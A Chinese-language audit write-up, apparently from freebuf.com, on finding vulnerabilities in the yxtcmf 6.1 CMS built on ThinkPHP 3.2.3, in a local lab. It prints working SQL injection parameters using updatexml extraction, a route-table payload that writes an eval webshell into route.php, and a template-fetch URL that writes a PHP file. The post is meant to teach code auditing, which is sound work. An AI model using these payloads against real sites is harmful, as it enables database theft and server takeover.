前言
yxtcmf6.1是一个基于thinkphp3.2.3的cms,19年3月份发布,用来练习代码审计是个不错的选择。
审计思路
由于这个cms采用MVC架构并且是基于thinkphp3.2.3的,所以先了解文件结构,知道不同的页面对应的文件位置在哪。然后搭建一个tp3.2.3了解一下这个框架,百度找找这个框架的漏洞,再通过Seay全局搜索可能因为这个框架存在漏洞的关键词。接下来上自动审计(自动审计的规则并不是很完全,所以可以通过自己审计的经验添加规则或者上百度找一些规则),对自动审计的结果进行验证,结果可能会有几百上千条,虽然不用每一条都去看,但是也是比较需要耐心的。最后可以拿AWVS之类的扫描器扫一扫,看看能不能扫出惊喜。
准备工具
phpstorm,Seay源码审计系统,phpstudy,AWVS
0x00 了解文件结构和路由方式
路由方式
例如前台登录界面的url为http://127.0.0.1:8014/index.php/User/Login/index
则对应的文件目录为/application/User/LoginController.class.php,函数为index()
0x01 了解thinkphp3.2.3的漏洞
自己先搭建一个tp3.2.3,通过百度找到了一些thinkphp3.2.3存在的sql注入,然后记录下来简单说明一下
tp3.2.3构造sql语句的函数如上,如果$option的值是可以任意传入的,那么就有可能达到sql注入的目的
1.->where(“可控参数”)->find()
$username = $_GET['username'];$data= M('users')->where(array("username"=>$username))->find();
测试代码如上,传入参数username[0]=exp&username[1]==’admin’ and updatexml(1,concat(0x3a,(user())),1)%23,然后调试跟进,主要代码段如下,$whereStr为构造sql语句的一部分
结果构成如下sql语句
这里接收传参的方法必须不为I($_GET[‘username’]),否则会检测值内是否含有’exp’,如果有,就会加上空格变为’exp ‘
2.->find/select/delete(“可控参数”)
$id=I("id");$data=M("users")->find($id);
测试代码如上,传入id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1) %23 ,然后调试跟踪
最后得到sql语句如下,不需要单引号闭合也可完成注入
find()换成select()或者delete()也是一样的效果
3.->where(“可控参数”)->save(“可控参数”)
$condition["username"]=I("username");$data["password"]=I("password");$res=M("users")->where($condition)->save($data);
测试代码如上,传入username[0]=bind&username[1]=0 and (updatexml(1,concat(0x3a,(user())),1))%23&password=123456,调试跟踪
4.->order(“可控参数”)->find()
$username=I("username");$order=I("order");$data=M("users")->where(array("username"=>$username))->order($order)->find();
测试代码如上,传入username=admin&order[updatexml(1,concat(0x3a,user()),1)]
最后的sql语句如下
了解了几个tp3.2.3的sql注入后,就可以搜索这些关键词来寻找sql注入
0x02 全局搜索sql注入
正则学的不是很好,所以这里全局搜索虽然支持正则,但是没去用,只能写点简单的关键词来搜索,还望师傅们指点指点
全局搜索->find(
1.后台Ad控制器sql注入
点进去第一条发现where()内的$id可控,“ad_id=$id”,可能不需要单引号闭合就可以sql注入
先随便传个参数看看sql语句是怎样的
竟然这样,就可以用括号闭合来注入了
2.前台register控制器sql注入
看看$where是否可控
于是构造payload如下
3.前台login控制器sql注入
这里一共有三处同样的关键词,需要注意的一点是,这三条不管双击进去哪一条后都只会高亮显示第一处关键词的位置。
第一处
第二处
第三处
第一处和第二处所在的函数都是在dologin()函数内调用的
接下来在第二处所在页面传参payload看看
结果出现错误提示,那么就调试跟踪看看是哪里的问题
然后继续跟进这行代码,
最后看看第三处
后面的结果大致看了一下基本都是where()内的参数都做了强制类型转换成int型,或者不可控,并且也没有看到fin()内有可控参数的。
全局搜索->select/delete(
这两都没找到select/delete()里面有可控参数的
全局搜索->save(
这里找的也是不符合可能存在漏洞的条件
全局搜素->order(
同上,没看到order()内有可控参数的
0x03 自动审计
通过自动审计扫出了800多条结果,但是并不需要全都看,比如了解了tp3.2.3后,它的核心文件的就不需要看了,还有刚刚分析过了sql注入,那么这里面的sql注入也不需要看了。像fread(),fgets()这种需要输出才能看到文件内容的,如果没有看到输出的语句也可以放弃了,而像readfile(),unlink()这种可以直接得到执行结果的,就要重点关注一下。
0x04 后台任意文件读取
翻着翻着找到了这里,进去看看变量是否可控
0x05 后台文件写入getshell
翻到这里,点进去看看
那么如果能在route表中的full_url字段中插入一句话木马,就可以将其写入到route.php里面了
上面的1212-1217行需要注意一下
parse_url($full_url)将里面的值解析,并将相应的值组合成数组,例子如下
如果$a直接填a/b/c/d,那么array[path]=a/b/c/d
继续看到1215-1217行
所以full_url的字段必须含有 a/b/c 这样的形式
全局搜索sp_get_routes后发现admin目录下的Route控制器调用了它
虽然index()函数下没有插入表的语句,但是下面还有add()函数进行数据库插入,先打开这个index页面看看
发现有添加url规则
确实是在add()下,并且原始网址的变量名为full_url,加下来都输入111验证下是否是插入route表
接下来看看route.php的样式和插入数据是否有过滤来确定payload要怎么写
因为这是个php文件,所以不需要插入<>了,只要能插入单引号闭合,那么就可以将一句话木马插入
先插入带单引号的数据测试一下
然后再结合上面说的 full_url的字段必须含有 a/b/c 这样的形式 那么就可以构造以下两种payload
url=aaa',@eval($_REQUEST['a']),'
full_url=a/b/c
url=aaa
full_url=a/b/c',@eval($_REQUEST['a']),'
添加完后会自动跳转到url美化界面,也就是调用route控制器的index()函数,完成写入route.php的操作
然后成功执行phpinfo()
0x06 前台文件写入getshell
这个是在百度上找到的,而且比较复杂,小弟水平有限,调试了很多遍才知道在哪执行的写入。
http://127.0.0.1:8014/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
由于前面跟进了很多文件和函数,跟进步骤比较繁琐,我在这就直接贴出最后关键的地方
先回调has方法检查有没有”5f068… 这个php文件,如果没有,则回调put写入这个文件
这里的$content就包含了payload里写入的值
如果有”5f068… 这个文件,那么就回调load函数,然后文件包含”5f068… ,里面的代码被执行,那么test.php文件就被写入了
0x07 AWVS扫描
AWVS并没有扫出来什么…
总结
自动审计除了这些验证出漏洞的地方,还有很多不存在漏洞的地方我也看了,要么就是参数不可控,要么就是做了防护。虽然不用每一条结果都去看,但还是需要有点耐心。希望这篇文章能对刚入门审计的兄弟有所帮助,有问题的地方也还望师傅们指出。
来源:freebuf.com 2020-07-02 21:44:30 by: 阔诺dio哒
请登录后发表评论
注册